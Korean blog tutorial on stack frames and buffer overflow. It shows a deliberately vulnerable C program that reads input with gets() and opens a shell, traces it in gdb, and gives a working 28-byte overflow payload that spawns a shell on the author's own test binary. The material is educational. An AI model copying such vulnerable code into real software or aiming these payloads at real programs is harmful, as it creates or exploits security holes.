시작
안녕하세요!! :D
오늘은 시스템해킹의 출발점인 스택프레임과 버퍼오버플로우를 다뤄볼까 합니다.
사실 포너블 문제를 더 풀고 싶은데 남은 것들이 pwntools 없으면 못 푸는 문제들..
사용법이 익숙치 않아서.. 열심히 공부중입니다ㅠㅠ
머리도 식힐 겸 가볍게 지금까지 공부한 것들을 정리해보려고 해요!!
시작하겠습니다.
Stack Frame
스택이란?
Stack
: Last in First out (LIFO)를 기반으로 작동하는 자료구조.push()
,pop()
등의 함수를 사용하여 조작
스택 영역은 함수의 호출과 함께 할당됩니다. 함수가 끝나면 자연스럽게 사라지죠.
지역 변수, 매개 변수, 반환값(Return)들이 이 곳에 저장됩니다.
특징이 있다면 스택은 높은 주소에서 낮은 주소로 커지는데, 그 이유는 운영 체제의 핵심인 Kernel
을 절대로 침범할 수 없게 하기 위해서입니다.
또 힙 영역과 마주보며 자라게 되어서 메모리를 효율적으로 사용할 수 있게 되구요.
스택에서 꼭 알아야 할 두 가지 레지스터가 있는데, ebp
와 esp
라는 녀석입니다.
ebp
는 베이스 포인터입니다. 스택에서 제일 낮은 위치(메모리 상에선 가장 높은 주소)를 가리킵니다.
esp
는 스택 포인터입니다. 스택이 지금 어디에 있는지를 가리킵니다. 메모리 상에선 가장 낮은 주소겠네요.
이 두 레지스터는 함수의 호출과 동시에 시작되는 프롤로그, 함수의 끝인 에필로그에서 중요하게 사용됩니다.
스택 프레임이란?
Stack Frame
: 스택 영역에 저장되는 함수의 정보, 공간
어떤 함수던 실행될 때 스택 프레임을 생성합니다.
그 안에는 매개 변수, Return, 지역 변수들이 자리잡고 있죠.
자, 함수가 호출되었다!! 라고 생각해 보겠습니다.
우선 스택 프레임을 만드는 단계인 프롤로그가 진행됩니다,
push ebp
mov ebp, esp
위 명령어를 통해 아래 그림과 같은 상태가 됩니다.
베이스 포인터를 스택에 저장 후 스택 포인터를 베이스 포인터에 저장합니다.
이렇게 만들어진 스택 프레임으로 함수의 내용이 수행되겠죠?
이제 함수의 역할이 끝났으니 스택 프레임이 소멸되는 단계가 필요합니다. 이를 에필로그라고 해요.
mov esp, ebp
pop ebp
위 명령어로 인해 함수의 역할이 끝난 후 위 그림과 같은 상태로 돌아가는 겁니다.
pop
명령을 통해 RET
으로 이동하겠죠.
이제 어셈블리어를 뜯어봤을 때 프롤로그와 에필로그가 보인다!! 하면 함수의 시작과 끝이라고 생각하시면 됩니다.
버퍼 오버플로우
우리는 이제 함수가 호출되었을 때 스택 영역에서 무슨 일이 일어나는지 알았습니다.
버퍼 오버플로우 취약점은 스택 프레임 내에서 선언된 지역 변수가 다른 영역을 침범해 발생합니다.
간단한 프로그램으로 눈으로 직접 보죠!
root@goorm:/workspace/LCH_Server/stack# cat stack_test1.c
#include <stdio.h>
#include <stdlib.h>
int main() {
int passwd = 0;
char buf[20];
gets(buf);
if (passwd == 0xdeadbeef) {
printf("Exploit!!\n");
system("/bin/sh");
}
else {
printf("Wrong!!\n");
}
return 0;
}
stack_test1.c
를 짜봤습니다.
passwd
와 0xdeadbeef
가 같다면 쉘을 딸 수 있는 코드입니다.
하지만 passwd
값을 입력받는 부분은 어디에도 없네요.
buf
배열과 gets()
를 이용해서 passwd
의 값을
같이 gdb로 뜯어볼까요??
gdb-peda$ pdisas main
Dump of assembler code for function main:
0x00000000004005c6 <+0>: push rbp
0x00000000004005c7 <+1>: mov rbp,rsp
0x00000000004005ca <+4>: sub rsp,0x20
0x00000000004005ce <+8>: mov DWORD PTR [rbp-0x4],0x0
0x00000000004005d5 <+15>: lea rax,[rbp-0x20]
0x00000000004005d9 <+19>: mov rdi,rax
0x00000000004005dc <+22>: mov eax,0x0
0x00000000004005e1 <+27>: call 0x4004c0 <gets@plt>
0x00000000004005e6 <+32>: cmp DWORD PTR [rbp-0x4],0xdeadbeef
0x00000000004005ed <+39>: jne 0x400605 <main+63>
0x00000000004005ef <+41>: mov edi,0x4006a4
0x00000000004005f4 <+46>: call 0x400480 <puts@plt>
0x00000000004005f9 <+51>: mov edi,0x4006ae
0x00000000004005fe <+56>: call 0x400490 <system@plt>
0x0000000000400603 <+61>: jmp 0x40060f <main+73>
0x0000000000400605 <+63>: mov edi,0x4006b6
0x000000000040060a <+68>: call 0x400480 <puts@plt>
0x000000000040060f <+73>: mov eax,0x0
0x0000000000400614 <+78>: leave
0x0000000000400615 <+79>: ret
End of assembler dump.
위 두 줄만 봐도 프롤로그라고 보이네요!!
main+32
부분에서 rbp-0x4
와 0xdeadbeef
를 비교하는 것이 보입니다.
passwd
의 값은 rbp-0x4
에 저장되는 것 같네요.
gets
함수를 불러오기 전을 보면 rbp-0x20
을 인자로 넣어주는 모습도 보입니다.
이곳은 buf[]
의 공간인 것 같습니다,
buf[]
에 20 bytes를 채우고 메모리를 보러 가봅시다.
gdb-peda$ x/32wx $rbp-0x20
0x7ffe284ce410: 0x41414141 0x41414141 0x41414141 0x41414141
0x7ffe284ce420: 0x41414141 0x00007f00 0x00000000 0x00000000
0x7ffe284ce430: 0x00000000 0x00000000 0x4c103f45 0x00007f68
0x7ffe284ce440: 0x00000000 0x00000000 0x284ce518 0x00007ffe
0x7ffe284ce450: 0x00000000 0x00000001 0x004005c6 0x00000000
0x7ffe284ce460: 0x00000000 0x00000000 0x7ca1f70f 0x62d2658a
0x7ffe284ce470: 0x004004d0 0x00000000 0x284ce510 0x00007ffe
0x7ffe284ce480: 0x00000000 0x00000000 0x00000000 0x00000000
gdb-peda$ x/x $rbp-0x4
0x7ffe284ce42c: 0x00000000
A
를 20개 넣어준 후 rbp-0x20
을 뜯었더니 알맞게 잘 들어가 있군요.
또 rbp-0x4
의 주소값이 0x7ffe284ce42c
인 것도 확인했습니다.
위와 아래의 주소를 비교해보니.. passwd
가 배열의 시작 주소에서 28 bytes만큼 떨어져 있네요!
그렇다면 28 bytes만큼 채운 후 0xdeadbeef
값을 입력하면 passwd
변수에 들어갈 것 같습니다.
페이로드를 작성해보죠.
root@goorm:/workspace/LCH_Server/stack# (python -c 'print "A" * 28 + "\xef\xbe\xad\xde"'; cat) | ./stack_test1
Exploit!!
ls -l
합계 20
-rw-rw-r-- 1 root root 16 4월 25 14:10 peda-session-stack_test1.txt
-rwxrwxr-x 1 root root 8675 4월 25 13:21 stack_test1
-rw-rw-r-- 1 root root 227 4월 25 13:15 stack_test1.c
잘 덮히는군요. 이것이 유명하고 유명한 버퍼 오버플로우 입니다.
마무리
간단하게 스택과 버퍼 오버플로우를 알아보았습니다.
급하게 쓰느라 정신이 없었네요.. 더 많은 코드로 예제를 써보고 싶었는데ㅠㅠ
2편으로 돌아오겠습니다!!
'CTF_Write_UP > etc' 카테고리의 다른 글
[heap] 힙 영역을 ARABOZA (0) | 2019.07.20 |
---|---|
[Pwn] 나도 만들어봤다, 쉘코드!! (0) | 2019.07.14 |
[Facebook CTF 2019] Facebook CTF 시작!! // 후기 (0) | 2019.06.01 |
[BOF] rop 알았으면 srop까진 해야지 (ver. 32bit) (0) | 2019.05.18 |
2019 DEFCON 살짝.. 건드려보기 (0) | 2019.05.12 |